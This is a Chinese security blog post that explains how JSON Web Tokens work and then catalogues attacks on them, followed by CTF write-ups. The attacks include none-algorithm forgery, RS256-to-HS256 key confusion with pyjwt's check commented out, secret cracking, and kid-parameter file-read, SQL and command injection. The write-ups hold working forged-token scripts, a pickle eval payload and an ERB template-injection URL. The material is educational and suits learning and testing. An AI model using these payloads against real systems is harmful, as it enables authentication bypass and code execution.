JWT认证问题

admin 2022年1月6日01:41:11评论143 views字数 17655阅读58分51秒阅读模式

JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案。

JWT 的原理

JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。

1
2
3
4
5
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2020年7月1日0点0分"
}

以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。

服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。

JWT 的数据结构

实际的 JWT 大概就像下面这样。

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

它是一个很长的字符串,中间用点(.)分隔成三个部分。
JWT 的三个部分依次如下。

1
2
3
Header(头部)
Payload(负载)
Signature(签名)

Header 部分是一个 JSON 对象,描述 JWT 的元数据,通常是下面的样子。

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

上面代码中,alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT。

最后,将上面的 JSON 对象使用 Base64URL 算法(详见后文)转成字符串

Payload

Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。

1
2
3
4
5
6
7
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号

除了官方字段,你还可以在这个部分定义私有字段,下面就是一个例子。

1
2
3
4
5
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}

注意,JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。

这个 JSON 对象也要使用 Base64URL 算法转成字符串。

Signature

Signature 部分是对前两部分的签名,防止数据篡改。

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.)分隔,就可以返回给用户。

Base64URL

前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。

完整token生成

python

1
pip install pyjwt

token生成

1
2
3
4
5
import jwt
key='secret_key'
encoded_jwt=jwt.encode({'username':'admin'},key,algorithm='HS256')
print(encoded_jwt)
print(jwt.decode(encoded_jwt,key,algorithms='HS256'))

output

1
2
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.g0te4fe0-MjFyCTUVOjaq_ipV7em82cF06lzPOq3SkE'
{'username': 'admin'}

JWT 的使用方式

客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。

此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization字段里面。

1
Authorization: Bearer <token>

另一种做法是,跨域的时候,JWT 就放在 POST 请求的数据体里面。

jwt在线加解密

jwt的在线解密地址: http://jwt.calebb.net/
jwt的在线加解密:地址https://jwt.io/

JWT的攻击方式

一些JWT 漏洞相关的源码: https://github.com/Sjord/jwtdemo/

敏感信息泄露

由于payload是使用base64url编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。

加密算法篡改

空加密算法

JWT支持使用空加密算法,可以在header中指定alg为None

这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段

1
2
3
4
5
6
7
{
"alg" : "None",
"typ" : "jwt"
}
{
"user" : "Admin"
}

生成的完整token为

1
ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0

(header+’.’+payload,去掉了’.’+signature字段)

示例

1
2
3
4
5
6
7
8
import base64
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

payload='{"username":"test"}'

header="{\"alg\":\"none\",\"typ\":\"JWT\"}"
print b64urlencode(header) + '.'+ b64urlencode(payload)+ '.'

或者

1
2
3
4
5
6
import jwt

data={
"username":"test"
}
print(jwt.encode(data,"",algorithm='none'))

output

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.

将output的字符串放入到
http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

将RS256算法改为HS256

HS256算法使用密钥为所有消息进行签名和验证,对称密码算法。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证,非对称密码算法。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
示例:
RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

1
2
3
4
5
import jwt

public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

直接运行如上代码的会报错,pyjwt进行了判断。
jwt/algorithms.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def prepare_key(self, key):
key = force_bytes(key)

invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]

if any([string_value in key for string_value in invalid_strings]):
raise InvalidKeyError(
'The specified key is an asymmetric key or x509 certificate and'
' should not be used as an HMAC secret.')

return key

prepare_key会判断是否有非法字符,简单粗暴的注释掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def prepare_key(self, key):
key = force_bytes(key)

invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]

#if any([string_value in key for string_value in invalid_strings]):
#raise InvalidKeyError(
# 'The specified key is an asymmetric key or x509 certificate and'
# ' should not be used as an HMAC secret.')

return key

运行结果为

1
2
3
4
5
6
7
8
9
10
11
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF
NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c
1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+
H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f
ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw
2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF
KwIDAQAB
-----END PUBLIC KEY-----

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoidGVzdCJ9.c-yX20a99ofP2yImxNn3vMtOgRvYqM4Xs8AZBMZ1aug

爆破HS256密钥

不过对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

相关工具:c-jwt-cracker
JWTPyCrack

修改KID参数

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/home/jwt/.ssh/pem"
}

因为该参数可以由用户输入,所以也可能造成一些安全问题。

任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}

SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}

命令注入

对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

1
"/path/to/key_file|whoami"

对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

修改JKU/X5U参数

JKU的全称是”JSON Web Key Set URL”,用于指定一组用于验证令牌的密钥的URL。类似于kid,JKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。

X5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式

例题

[CISCN2019 华北赛区 Day1 Web2]ikun

首页提示 ikun们冲鸭,一定要买到lv6!!!
一直点击下一页,没有找到lv6,写个脚本寻找一下

1
2
3
4
5
6
7
8
9
from time import sleep
import requests
url="http://fe7b0375-7ea6-429f-bb30-8f39d45b0ab4.node3.buuoj.cn/shop?page="
for i in range(0,500):
r=requests.get(url+str(i))
sleep(0.3)
if 'lv6.png' in r.text:
print(i)
break

可以找到lv6在181页中,进去查看后,发现要1145141919.0。随便测试一个test账号,账户余额1000元,远远不足。
尝试抓包修改一下价格或折扣,修改价格时操作失败,修改折扣时,跳转到/b1g_m4mber 页面,
显示只有admin才能访问。

JWT认证问题
这里使用的是JWT认证,将cookie中的JWT拿去解密https://jwt.io/

可以得知使用的是HS256加密,要伪造的话,这里需要爆破secre的值,或者将alg修改为none,尝试一下。
alg修改为none

1
2
3
4
5
6
7
8
9
import jwt

data={
"username":"test"
}
print(jwt.encode(data,"",algorithm='none'))

output:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.

将生成的jwt字符串替换掉cookie原来的jwt,访问服务器报错失败

爆破secret的值
JWT认证问题
得到secret为1Kun

1
2
3
4
5
6
7
8
9
10
import jwt

payload={
"username":"admin"
}
secret="1Kun"
print(jwt.encode(payload,secret,algorithm="HS256"))

output:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

修改JWT后,成功以admin的身份登录,发现一个unicode加密的字符串
JWT认证问题
解密后

去lv6的页面源码找了一下,没有发现什么,再去访问一下/b1g_m4mber的页面内,发现了备份源码
JWT认证问题
Admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

output:
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

将生成的payload放到隐藏的输入框里,只需将hidden=”hidden”删除即可

ctfhub

敏感信息泄露

1
2
3
4
5
6
7
8
9
import base64
def base64url_decode(s):
return base64.b64decode(s.replace('-','+').replace('_','/').encode("utf-8"))

if __name__=='__main__':
token = "eyJBRyI6ImZjZGYyOTAzZTIxMmRiYX0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsIkZMIjoiY3RmaHViezAxYWQxOWE3ZSJ9.-Zt7JBkTZaSi1HZRIqUGmhptnXZtrxw7Druqc4E_wvE"
parts = token.split('.')
for i in range(2):
print(base64url_decode(parts[i]))

运行结果为

1
2
b'{"AG":"fcdf2903e212dba}","typ":"JWT","alg":"HS256"}'
b'{"username":"admin","password":"admin","FL":"ctfhub{01ad19a7e"}'

空加密

将token解密为

1
2
b'{"typ":"JWT","alg":"HS256"}'
b'{"username":"admin","password":"admin","role":"guest"}'

将role改为admin,空加密

1
2
3
import jwt
payload={"username":"admin","password":"admin","role":"admin"}
print(jwt.encode(payload,"",algorithm='none'))

弱密钥

爆破工具:C语言:https://github.com/brendan-rius/c-jwt-cracker
python: https://github.com/Ch1ngg/JWTPyCrack

1
2
s@kali:~/Desktop/tool/c-jwt-cracker$ ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.1YHpMZXLB48AMPrbRCRjErGm5QexgDPtLK_Qdcj-ZJk
Secret is "czpe"

解密一下token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
def base64url_decode(s):
return base64.b64decode(s.replace('-','+').replace('_','/').encode("utf-8"))
def add_equal(string):
length=len(string)
remainder=length%4
if remainder==2:
return string+"=="
if remainder==3:
return string+"="
return string
if __name__=='__main__':
token="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.1YHpMZXLB48AMPrbRCRjErGm5QexgDPtLK_Qdcj-ZJk"
parts = token.split('.')
for i in range(2):
part=add_equal(parts[i])
print(base64url_decode(part))
'''
result:
b'{"typ":"JWT","alg":"HS256"}'
b'{"username":"admin","password":"admin","role":"guest"}'
'''

生成token

1
2
3
4
5
6
7
8
9
10
11
import jwt
def encode_token(payload,secret_key,alg):
return jwt.encode(payload,secret_key,algorithm=alg)

def decode_token(token,secret_key,alg):
return jwt.decode(token, secret_key=secret_key, verify=False, algorithms=alg)
if __name__=='__main__':
payload={"username":"admin","password":"admin","role":"admin"}
secret_key="czpe"
alg='HS256'
print(encode_token(payload,secret_key,alg))

修改签名算法

解密token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
def base64url_decode(s):
return base64.b64decode(s.replace('-','+').replace('_','/').encode("utf-8"))
def add_equal(string):
length=len(string)
remainder=length%4
if remainder==2:
return string+"=="
if remainder==3:
return string+"="
return string
if __name__=='__main__':
token="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6Imd1ZXN0In0.dx5pLYvXC6TXjA75dycVHPwNyPHCqbKBvCccRcA-8zKG6Qb0tfj0l7YoUJl7tvukT-dTZXMoCXnrdT3RlAuI_YqErZ-HYjfeSAt6KvRqrATYFlcBIZg2EAHG0XPQl7nkndX9jDNVrb0Xi4pxOAkBxxgNAUK-TY2OoKXU6DBpU2O8JmAh9x2kTjoyCBG2g-uTzyCjfVx6xx6NDYU_orvqU23g9eRqd7nbWj8mBpqejRoeBF1qfui5q61H4XFcotdg8WKkAs2UkyInUOggditC5J0F59iR8dMJkcszkH2-OZU9JrGVa9As3OsXWz9PYVAVx9yKSE_JDNLXRrAswCRKNA"
parts = token.split('.')
for i in range(2):
part=add_equal(parts[i])
print(base64url_decode(part))
'''
result:
b'{"typ":"JWT","alg":"RS256"}'
b'{"username":"admin","role":"guest"}'
'''

一开始直接赋值publickey.pem的内容到本地文件,生成的token得不到flag; 直接在浏览器右键保存publickey.pem,能得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
import jwt
def encode_token(payload,secret_key,alg):
return jwt.encode(payload,secret_key,algorithm=alg)

def decode_token(token,secret_key,alg):
return jwt.decode(token, secret_key=secret_key, verify=False, algorithms=alg)
if __name__=='__main__':
payload={"username":"admin","role":"admin"}
#secret_key="czpe"
secret_key=open("publickey.pem",'r').read()
#print(secret_key)
alg='HS256'
print(encode_token(payload,secret_key,alg))

[HFCTF2020]EasyLogin

随便注册一个账户密码,登入后发现有看到有get flag,但是没有权限读取。

F12查看源码,在source里看到static/js/app.js,提示静态路径设置不当,导致可任意访问服务端源码

1
2
3
4
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

尝试访问/app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 3000;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

从require文件包含知道还有controller.js和rest.js的文件

1
2
const rest = require('./rest');
const controller = require('./controller');

rest.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
module.exports = {
APIError: function (code, message) {
this.code = code || 'internal:unknown_error';
this.message = message || '';
},
restify: () => {
const pathPrefix = '/api/';
return async (ctx, next) => {
if (ctx.request.path.startsWith(pathPrefix)) {
ctx.rest = data => {
ctx.response.type = 'application/json';
ctx.response.body = data;
};
try {
await next();
} catch (e) {
ctx.response.status = 400;
ctx.response.type = 'application/json';
ctx.response.body = {
code: e.code || 'internal_error',
message: e.message || ''
};
}
} else {
await next();
}
};
}
};

controller.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const fs = require('fs');

function addMapping(router, mapping) {
for (const url in mapping) {
if (url.startsWith('GET ')) {
const path = url.substring(4);
router.get(path, mapping
);

} else if (url.startsWith('POST ')) {
const path = url.substring(5);
router.post(path, mapping
);

} else {
console.log(`invalid URL: ${url}`);
}
}
}

function addControllers(router, dir) {
fs.readdirSync(__dirname + '/' + dir).filter(f => {
return f.endsWith('.js');
}).forEach(f => {
const mapping = require(__dirname + '/' + dir + '/' + f);
addMapping(router, mapping);
});
}

module.exports = (dir) => {
const controllers_dir = dir || 'controllers';
const router = require('koa-router')();
addControllers(router, controllers_dir);
return router.routes();
};

module.exports = (dir)模块导入中得知,还有controllers目录,以及api的接口请求,猜测有/controllers/api.js文件,访问可得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

生成token

1
2
3
const jwt = require('jsonwebtoken')
token = jwt.sign({secretid:[], username:'admin', password:'123456'}, '', {algorithm: 'none'});
console.log(token)

抓取登入框的包,并添加token。

JWT认证问题
请求flag

[SCTF2019]Flag Shop

buy flag是购买flag,但是要求你的钱要到1e+27才行,work可以加钱,reset重置。审查页面元素没什么思路,发现robots.txt。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

定位到/work路由下,存在name如果和do参数所传得参数相同时即可返回jwt所用得key.

1
/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

之后就是用Jwt解密网站搞一下金钱,买flag.
查看返回得cookie,就拿到了flag.

其他做法: HTTP参数传递类型差异产生的攻击面

参考文章:
JSON Web Token 入门教程
攻击JWT的一些方法
JSON Web Token (JWT) 攻击技巧
Attacking JWT authentication
Json Web Token历险记
JWT安全与实战

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:41:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JWT认证问题https://cn-sec.com/archives/722219.html

发表评论

匿名网友 填写信息